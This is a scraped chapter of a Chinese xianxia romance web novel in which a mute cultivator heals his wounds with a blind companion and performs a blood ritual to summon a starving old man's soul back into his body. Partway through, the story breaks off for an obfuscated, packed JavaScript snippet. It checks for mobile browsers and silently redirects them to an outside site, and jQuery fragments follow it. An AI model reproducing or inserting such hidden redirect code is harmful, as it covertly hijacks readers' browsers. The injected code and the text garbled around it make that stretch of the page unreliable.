默认冷灰
24号文字
方正启体

23.召魂

作者:山茶不喝茶本书字数:K更新时间:
    祈长生点着灯,坐了一夜,眼看天蒙蒙亮,屋门终于被敲响。


    不同往日有节奏的敲击,是“砰”的一声响,再无其他声音。


    但祈长生知道,是他回来了。


    祈长生开门,风飘过,带着腥味。


    他心头一紧:“你受伤了?”


    贺春生一身血,艰难抬手,拍拍祈长生让他放心,他托着背上的人,身子发抖。


    余梦哭哭啼啼,后半夜才勉强浅睡,听见声响,立马跑出屋,看见贺春生的样子,吓道:“仙君,你……”


    贺春生比了个“嘘”,看向祈长生,示意余梦不要开口。


    余梦收声,视线转至贺春生身后,那人头发花白,脑袋垂在贺春生肩头,血气满身,看不清脸,但余梦一下就认出此人,跑来:“阿爹!”


    她把人扶住,小心翼翼伸出二指。


    没有气息。


    余梦泪花涌出:“没、没气息了……怎么可能?”


    贺春生摆手:“不要担心。”


    他指指自己,又指指余梦阿爹,比出一个大拇指:“我能救他。”


    余梦挂着泪珠,哭着下跪,被贺春生扶起,只得屈身行礼:“谢谢仙君……谢谢……”


    祈长生虽看不见,凭只言片语,差不多拼凑出,皱眉道:“你要救他,你可知……?”


    贺春生掐他,看他还想开口,朝他腰上不轻不重拍了下。


    捏捏指尖,挠挠手心:“他阳寿未尽。”


    影鬼并不伤人,只是徘徊在执念之地,七日散去。若丧者阳寿未尽,便可以血做媒,与影鬼通灵,召他还魂。


    他检查过这具尸体,并无致命伤,具体死因成谜,借此机会,他也好看看,究竟是何魔物,能有如此能力。


    祈长生别过脸:“嗯。”不情不愿。


    贺春生的指尖还没从他手心伸出,自己稍稍蜷手,便可摩擦到薄薄一层茧,后者回应似的,戳戳手心软肉,引得自己一阵战栗。


    祈长生脸别的更远,颊面染几片浅粉,雪山般的鼻尖,也在粉的侵袭下,融成一汪春水。


    他果然吃这套。


    计谋成功,贺春生抽手,一双凤眼笑成狐狸,招呼余梦过来,告知:“你爹爹阳寿未尽,先扶他回房,将伤口处理干净。”


    余梦从大喜中回神,急急忙忙扶过,转身便要回屋,贺春生比:“正午阴气最重,届时,我会为你爹爹召魂。”


    贺春生摸摸鼻子,不好意思:“我们可能,要在此地打扰几日……”


    不等手放下,余梦打断:“仙师帮了如此大忙,就算今后住在这儿,我也没什么怨言,何谈打扰?”


    她扫了眼贺春生,忙进屋将阿爹安置好,进灶房打盆热水,递来毛巾:“仙师也……”


    余梦撇了眼祈长生,换说辞道:“擦擦身子。”


    许是危机解除,她身子不再紧绷,也有精力好好看看眼前人。


    要说长相,贺春生这张假面,自然比不过祈长生,但他身上有股悯世气质,双眼垂下,好似上神,独坐东天。比温但淡,比润更浓,像寺中青烟,如泉中水汽,余梦长这么大,从没见过这样的人。


    唯一的缺点,便是哑巴。但他虽不会说话,但很有责任心。比那些只说空话不做事的郎君,不知好上多少倍。


    毛巾被拽,余梦回神,正对贺春生疑惑双眼。


    那双眼睛里,藏着大大一个问号,似乎在问余梦,为何还不把毛巾给他。


    余梦脸霎时红了,忙松手:“我我,我去看看我爹!”转身跑回屋,重重合门。


    屋内,祈长生将毛巾拧干,擦在贺春生身上。


    贺春生疼的呼吸急促,冷汗贴着背落下,又被毛巾一遍遍擦过。


    身上血污被清理干净,贺春生蹙起的眉才散开。


    山上魔物多,所幸昨晚并没碰到太厉害的,但一个接一个,身上也落下不少伤,他原以为只几个伤口,如今扒开衣服一看,小伤大伤,全在身上堆着,所幸都不大,养养便好了。


    赤手空拳打架果真吃亏。


    贺春生想念自己那把无名了,可惜自己被逐,无名怕也早被淮水练成废铁,重铸新剑了。


    祈长生擦完最后一处,听贺春生指示,往伤口逐一上药。


    胸前的伤最多,索性便将药液倒下,用手轻轻擦在身上,祈长生擦着擦着,摸到一道伤痕,在胸口处,已长出新肉,像是陈年伤。


    他停下太久,贺春生心有灵犀,写:“儿时顽皮留下的。”


    时日已久,他也不记得是何时留的,但先前问过淮水,他给的答案便是这个。


    伤痕一指长,摸着也深。祈长生睫毛抖抖,心口闷道:“疼吗?”


    贺春生笑笑:“忘了。”


    祈长生顿了下,继续擦药,只是动作更轻柔了些。


    药擦三遍,时间飘然划到正午,两人在一起,时间总是过的很快。


    贺春生穿好衣服,余梦家没男子服装,这身还是她出外借的。


    虽是新的,但贺春生身量稍窄,穿着大了些,袍子松松垮垮落在地上,两条精瘦锁骨,从领口滑出。


    身子被擦了遍,贺春生清清爽爽伸个懒腰,脚一蹬,给床边的板凳踢出几米,眼看祈长生端水出门,马上就要撞上,贺春生伸手一拉,盆结实摔在地上,水花四溅。


    一阵天旋地转,祈长生不明所以,压在贺春生身上,两人仅剩一拳距离。


    纵是看不见,也能感觉到那道呼吸,淡淡打在自己脸上,掀起一阵惊涛骇浪。


    少年年纪,正是血气方刚,偏偏那人毫不知情,作恶般在身下动来动去。


    祈长生呼吸沉重,克制着将身子移远,一双大手捂住身下人的唇:“别动。”


    看着眼前人耳根发红,贺春生十分满意。


    对嘛,小孩子家家,一天到晚阴个脸干吗?这样就很好,很可爱,是个孩子样子。


    灼热呼吸打在手心,烫的祈长生快烧起来,立刻把手拿开。


    手在半空被握住,贺春生将手心对自己,写:“你有什么想要的吗?”


    第一次见祈长生,他就觉得这小孩真可怜,好像什么都没有,什么都握不住,就算祈长生在笑,也感觉不到开心。


    他想给祈长生一些东西,让他高兴些,发自内心笑笑。


    以往披着云霄首徒身份,身抗责任道义,相处下来,虽心疼,但无力。如今身份已变,顾虑全无,若能一直这样下去,那便好了。


    他想着,又写:“能力之内,都会满足,能力以外……我努力。”


    祈长生真的思考一会:“游洄,我想看看你的脸。”


    这可是个难题。


    贺春生拧眉苦思,眸光一闪,握着面前的手,往自己颊上贴,他让整只手舒展,从眉骨摸到眼窝,从耳朵摸到下巴。


    手停在半空,上面写:“看到了吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229931|177951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心被撩了下,再也无法停下,它在胸腔内撞个不停,随着动作,脑海中的人脸逐渐清晰。


    祈长生无法描绘这种感觉,长久冷着的脸率先给出答案。


    祈长生唇角勾起:“……看到了。”


    他等了许久,不见贺春生回答,身子往前探了下。


    贺春生僵了。


    在他腰上,贴上一根庞然大物,温热体温传来,那物更加激动,愈发胀大,其上青筋跳动,隔着布料也无法忽视。


    可怕的是,他在这么尴尬的情况下,亦有反应,下身隐隐抬起头,差点碰到祈长生。


    啊!!!


    贺春生一把将祈长生推开,红着脸跑出屋,刚好撞上来唤他的余梦。


    余梦看着未关的门,斟酌:“仙师的脸怎么这样红,可是天热?”


    贺春生砰的将门关上,羞臊摆手,指着另间屋:“可以开始了。”


    召魂仪式简单,贺春生画好阵,将尸首放于阵心,在阵法四缘各滴上血。


    他朝余梦看了眼,后者重重点头,才将诀捏起。


    风在耳边呼啸,周遭场景易变,丛林重叠,日照黄昏,是山上模样。


    老者提着篮子,扛着锄头,篮子里面空空如也,老者又黑又瘦,愁眉不展,继续往深处走去。


    “唉,这年头,野菜都没了。这回家可咋个交代,幺儿还想吃鸡蛋呢。不行挖点树皮吧?多少能顶一顿。”


    因通灵,互相可听见心声。


    贺春生道:“回去吧,该回家了。”


    四周无人,老者也不奇怪,絮叨着:“可不行呦,大哥二姐都是饿死的,就剩老小了,我这不搞点东西回去,幺儿又要受饿了。”


    说着,连连叹气。


    “权势欺压百姓,仙门不管不问,又连着几年年景不好,这世道,唉。”


    贺春生道:“您已经死了。”


    老者终于动了,他缓缓转过头,向贺春生的方向道:“我知道。”


    周围环境碎成齑粉,归为黑暗。


    老者转头,挎着筐背着锄,继续走:“死了,也不能停啊。”


    他念念叨叨:“菜呢……菜呢……菜呢……我要菜啊……”


    贺春生跟上,站在他面前,才发现老者的脚在半空浮着,走了半天,仍在原地。


    徒劳。


    贺春生道:“我是来帮你们的,以后不仅有菜,还有肉,怎么样?愿意和我走吗?”


    老者浑浊的眼慢慢变清,看着贺春生伸出的手,毫不犹豫搭上去。


    再睁眼,老者已出现在阵心,低头观察自己尸体,试图融进去。


    他这动作,显然是魂魄未定,若如今问他遭遇什么,怕也想不起来,只能等人醒后,养一阵儿再说。


    灵力直击老者,将老者推入尸首。


    阵中光芒落下,响起均匀呼吸,老者泛白的脸红润起来,余梦总算放心,将他扶上床,红着眼从缸底挖出一把粗米,挣扎半天,才放进锅里。


    这种东西,一般是她过年才吃的。


    舍不得,但阿爹该好好补补。


    但贺春生……她抬头,心底更加挣扎。


    这样神仙般的人,肯吃吗。


    犹豫半天,她才开口:“仙师,你喝粗米粥吗?”


    贺春生跨过院门,抬手婉拒。


    果然……


    下一秒,贺春生比划:“我答应你爹,要帮他寻些菜。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)